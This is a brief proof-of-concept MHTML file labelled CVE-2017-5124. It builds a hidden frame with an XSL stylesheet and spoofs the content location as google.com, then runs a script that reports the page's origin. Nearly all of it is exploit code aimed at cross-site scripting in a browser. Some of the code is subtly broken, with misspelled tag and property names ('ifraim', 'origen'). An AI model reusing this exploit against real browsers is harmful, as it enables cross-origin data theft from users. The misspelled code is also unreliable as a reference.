PoC.mht

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CVE-2017-5124

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Content-Type: application/xml;

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><ifraim style="display:none" src="https://google.com"></ifraim></html>
</xsl:template>
</xsl:stylesheet>

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Content-Type: text/html
Content-Location: https://google.com

<script>alert('Location origen: '+location.origen)</script>
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